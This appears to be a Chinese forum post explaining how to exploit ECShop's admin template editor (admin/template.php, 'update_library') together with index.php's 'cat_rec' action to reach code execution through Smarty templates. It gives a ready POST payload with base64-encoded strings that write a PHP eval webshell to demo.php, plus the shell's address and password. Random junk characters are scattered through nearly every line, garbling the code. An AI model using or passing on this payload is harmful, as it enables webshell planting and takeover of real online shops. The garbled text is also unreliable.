首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板( u$ Z- G! T# K
$ p" M4 j: {+ Q x& p; H而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了0 D# l1 i+ `# I0 m! _
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
' b% C% d1 A" ~% S3 q4 t( }admin/template.php
8 F# M+ J$ c/ a
u T/ h6 ^) p1 O N1 if ($_REQUEST['act'] == 'update_library') 6 y z+ V+ R# V' \
0 N# t7 c. P8 I9 Y" d
2
# _( R; F+ _9 ?1 Q5 }5 m; P
2 J! [9 X& Z& N* ^9 }! D0 g3 { + T. y6 v$ d9 E* x% N
+ X! H G) l1 s
4 check_authz_json('library_manage'); & x& o% b2 A5 l& Y- V: s' S
" ], {/ H o, l
5 1 A, a; U, h" T( l6 ~* x
0 A7 {9 N* K% \2 v2 m1 d" j
6 $html = stripslashes(json_str_iconv($_POST['html']));
1 z# M- z3 F5 \4 x2 y5 z" Z( h4 e* L z* E9 U( y" x5 Z
7
! c/ b0 b4 B7 c. ?& H5 V2 d7 @1 Q* }" Q) ], o
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 8 w% z1 G4 c) H7 o
5 P6 B3 h& E* g* F2 r6 Z' J6 O9
+ P" W4 Q# n/ t2 d! @$ e1 }4 ^4 }; s: S9 ]: E( t' X7 \
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 " z) r9 N3 I, U# L R l
( f4 }2 O0 n$ I. M4 _1 [
11
6 @& p9 R# H5 v) H+ P. w0 Y/ L( o' o3 a& M
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
+ s- K1 ~( |8 p3 X( L% y& x
. G: e4 ~ P# a |" f/ T13 4 k6 h* n5 I4 u: x
- q: C1 C/ k4 o) S* W3 T
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
0 K: q% D2 j: A3 {
+ J' q- ~' B; A" q( {4 y. F15 {
" k; S/ a0 l; T$ L1 M+ m; J; p; C @5 m# m( c9 u6 \0 a# f! g, T$ I
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); $ ^) {. ^+ V1 m$ Z. V# R" n
% b7 ~' ^1 K: \# v
17 make_json_result('', $_LANG['update_lib_success']);
+ k4 f3 E, i$ p$ T* b2 u5 _7 v F- c, i# u; P
18 }
6 y6 q* m& E- q6 U1 R' h {; ~0 n8 l) w6 k3 a3 W- ~8 G6 H, g
19 else 6 o9 D* Q k0 i9 r+ ~3 ?# E
. m3 t: ^- I R8 Z( D/ P# p
20 {
, E7 `; s$ n5 j! V1 q- ~9 m E$ b/ P) z$ \* z
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); # C: \; p8 ^+ `$ {
9 @* J4 k% p1 q8 ? \1 V7 {( _
22 }
0 L% k8 [$ B, ~+ q; S/ r X! _* [6 `/ |+ @ O C9 N- Y" Q
23 } , E$ C6 r/ F7 Z
( k- q8 l# j: P) l
那么找个比较方便调用了模板的文件* k0 @/ e9 L/ _* _
index.php" ~* x9 m7 T, N$ ?) W0 R! _
. g' V! q6 J& i$ ]
1 if ($act == 'cat_rec')
/ u: r9 j& E. I3 ~/ S; z8 R* F- N3 U+ \6 M5 Z$ f
2 - |! E# A; r6 n0 L5 ~" D2 Y
8 c! ?$ n( o/ U, Z- P: A/ U
3 {
) |8 Q' d6 h, H$ \; I
1 ?. V6 W0 `1 b$ L4 b4 P$ ?4 0 |5 F+ {& K2 @% A: v
6 W3 M9 n$ p s! T5 ~5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); $ ^3 t- B* @: `& l1 d: d( J
- I' w; R2 i4 E% n7 i3 ^* ~# O6
, N$ A7 H- i4 ~
" H8 S2 r* g7 \) K7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
' p) S/ r( r5 [3 m0 n/ p9 B
- n- B2 P, t8 m: X8 0 K+ H0 E/ `: V8 F
* z# y3 ~, }) g, ?9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ( o4 g5 x' @# s
$ o/ e& v9 u/ V% @. z$ j10 # R& o" n# o; L. K
8 j5 K* ^- K4 O- F% C
11 include_once('includes/cls_json.php');
# L3 _+ k7 o& s, x( F# L/ B4 @' E* S' Y9 y' S* m" n* m+ ?
12
- L+ c$ h. Z! k
7 i8 `; F! S: U/ [+ `13 $json = new JSON; $ [2 |9 k& i9 f. |/ Y0 T
" y" w4 u9 n( s3 ^) ?, }0 a5 Z5 y14
5 C A, O# V' j) N _& H
& H( `& m" p' |8 q15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
4 c1 d8 i) z2 |4 d$ D- X8 _6 X o/ l
7 T8 \5 O: M- |4 K- P16
/ ^" @3 C' R0 e( v; m6 O1 W
" S# \+ E8 K$ C* [* i6 |) B17 $children = get_children($cat_id);
* F2 T i8 q2 B, A, U* g6 s
4 X6 e3 ]6 g6 Z/ K18 0 R6 F, k7 A+ [4 t& S$ ?! A" `5 v* C
+ n; n! P) I: V5 g2 I+ k, _$ G7 ?
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
: A$ {9 ?1 D& m) ~! t! F5 G& z. z! s# m, q$ |: Q$ o3 R
20 6 G/ J0 Q' G8 Y7 u1 M, w9 K
7 X. {% F8 y' j, k: Q( J9 D21 $smarty->assign('cat_rec_sign', 1); . y b# J8 J' l) n5 E( z& J1 o' ?
" g0 l1 _% j$ Q5 \& N
22
! {, s5 P6 ?& e
4 Y8 G$ L) `" v2 p- a6 g# W23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
) v* j: Q" F$ Z1 p& K6 L5 O
9 r( a5 q% C) E6 d' i5 ^, h ^$ W24 : G9 G, R1 U! T2 C( V Y0 W0 o6 I
" V7 B! S* e' g. O25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 7 y8 X; J6 d' P% T
+ S' X( i* g% z7 b P26
" g1 C7 O' L' y% Q* L7 h. A7 v: c6 }) m, O
27 echo $rec_array[$rec_type];
& V* Q) \! Z/ S5 ~* R; r( I
+ N9 a) U, F( ]* y5 {28
3 Q% `4 l+ z0 {9 [0 ?3 P% N& M- S. L/ v( g0 a; }
29 die($json->encode($result)); / n+ v3 p# S9 L2 p
0 h# S5 k0 {0 P- H! g8 Y" [
30
! o* B& y8 U% Y6 m. n" I
* y# [: `& h/ {% |31 } 2 [5 M/ R$ R3 n2 _4 A
; V4 @2 h# {# o8 F6 W
那么就有利用方法了. O) I0 c0 Y6 B) \& Z
post包到http://localhost/ec/admin/template.php?act=update_library
* k# I/ K" Q& n( U; |; @Post内容:! L( a0 H' ^9 l$ c5 p5 Z5 @# ]
5 L( d; t7 f' u9 ?0 V [( k8 G, \
5 ]. X7 n9 `; T3 {4 K2 z1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
* M9 H+ N5 ~) t- C+ E; D; Z' n5 Z9 h& U4 f
然后访问http://localhost/ec/index.php?act=cat_rec
6 I; e$ B+ ?/ _/ O! u! a5 J* `
; c/ d* u/ B: I# g) l8 [. A: N [shel地址:http://localhost/ec/demo.php6 y; H! k/ S; Q! V# z+ A" {
密码c
8 R* a& K4 _$ x7 f6 F q
& Y# Q% W$ r7 D: R4 e |